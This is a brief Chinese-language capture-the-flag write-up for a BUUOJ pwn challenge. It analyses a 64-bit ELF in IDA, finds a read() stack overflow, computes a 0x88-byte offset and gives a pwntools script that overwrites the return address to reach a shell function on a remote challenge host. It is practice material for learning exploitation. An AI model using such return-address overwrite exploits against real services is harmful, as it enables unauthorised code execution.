查看文件信息
64位elf文件
IDA 分析
我们来到main()函数
再进入vulnerable_function()函数
典型的read()栈溢出漏洞,buf有0x80 [rbp + 80h] 所以 如果要覆盖的话 需要0x80 + rbp本身的8字节
同时我们发现 callsystem函数 地址为 0x400596,所以payload = ‘a’ * (0x80 + 8) + p64(0x400596)
exp
from pwn import *
p = remote('node3.buuoj.cn',27954)
payload = 'a' * (0x80 + 8) + p64(0x400596)
p.sendline(payload)
p.interactive()